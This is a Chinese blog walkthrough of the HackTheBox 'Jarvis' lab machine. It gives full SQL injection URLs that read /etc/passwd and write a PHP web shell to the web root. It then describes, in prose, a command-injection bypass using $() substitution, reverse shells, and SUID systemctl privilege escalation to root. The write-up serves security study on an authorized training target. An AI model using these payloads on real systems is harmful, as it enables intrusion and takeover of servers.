No.165-HackTheBox-Linux-Jarvis-Walkthrough渗透学习

**

HackTheBox-Linux-Jarvis-Walkthrough

**
¬
靶机地址:https://www.hackthebox.eu/home/machines/profile/194
靶机难度:初级(4.7/10)
靶机发布日期:2019年9月9日
靶机描述:
Jarvis is a medium difficulty Linux box running a web server, which has DoS and brute force protection enabled. A page is found to be vulnerable to SQL injection, which requires manual exploitation. This service allows the writing of a shell to the web root for the foothold. The www user is allowed to execute a script as another user, and the script is vulnerable to command injection. On further enumeration, systemctl is found to have the SUID bit set, which is leveraged to gain a root shell.

作者:大余
时间:2020-07-18

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.143…
在这里插入图片描述
我这里利用Masscan快速的扫描出了21,22,64999端口,在利用nmap详细的扫描了三个端口信息,22是ssh,64999是http服务等…
在这里插入图片描述
访问到端口80上的Apache服务器,可以看到一个名为“ Stark Hotel”的页面…

在这里插入图片描述
可看到该页面有订餐页面,也有订房页面…

在这里插入图片描述
随意进入一个订房页面,发现URL,存在sql注入…
在这里插入图片描述
测试发现可利用sql注入提权…
在这里插入图片描述
命令:http://10.10.10.143/room.php?cod=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7
发现了2存在注入点,查看到了passwd信息…

在这里插入图片描述
利用into outfile创建了文本…将查看到的信息放入了文本中…测试看

在这里插入图片描述
可看到,成功的,那么简单了,写个shell提权即可…
在这里插入图片描述
命令:http://10.10.10.143/room.php?cod=-1 union select 1,'<?php system($_REQUEST["dayu"]);?>',3,4,5,6,7 into outfile '/var/www/html/dayu.php'
简单写入cmd命令…

在这里插入图片描述
然后利用cmd直接写入shell,获得了反向外壳www权限…但是无法读取user_flag信息…
在这里插入图片描述
sudo发现了all存在simpler.py脚本…查看
在这里插入图片描述
查看脚本,看到它使用-p参数获取IP地址,然后使用os.system()函数执行ping…
脚本还阻止了一些字符(&;-`| |)以防止注入…
但不会阻止字符“ $”,“()字符,这可以通过bash命令替换即“ $(cmd)”注入命令提权…
在这里插入图片描述
可以看到该命令被用户名pepper代替,并且ping尝试将其解析为主机名说明命令执行成功…
那么可以使用它来执行bash反向shell,并获得一个shell作为Pepper…
由于某些特殊字符被阻止,我将命令写入脚本并通过注入执行它…
在这里插入图片描述
简单的shell写入即可…
然后执行shell获得了反向外壳pepper用户权限…获得了user_flag信息…
由于这个外壳不稳定…我进行了ssh

在这里插入图片描述
创建.ssh,并本地生成ssh-key…然后写入到pepper中…(简单操作)
在这里插入图片描述
ssh登录后,枚举了SUID,发现存在systemctl…
systemctl命令用于管理运行systemd的系统上的服务…google看看怎么利用…
在这里插入图片描述
google发现了挺多提权的办法…
只需要创建一个服务,该服务在启动时执行我们选择的文件,然后使用它systemctl来启用和启动它…这样就能执行了
在这里插入图片描述
我创建了一个简单的bash-shell,然后创建service服务,并利用systemctl进行启动,启动后执行.sh的shell,并获得了root权限的反向外壳…
获得了root_flag信息…

简单的sql注入–systemctl(SUID)提权…

由于我们已经成功得到root权限查看user和root.txt,因此完成这台初级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
>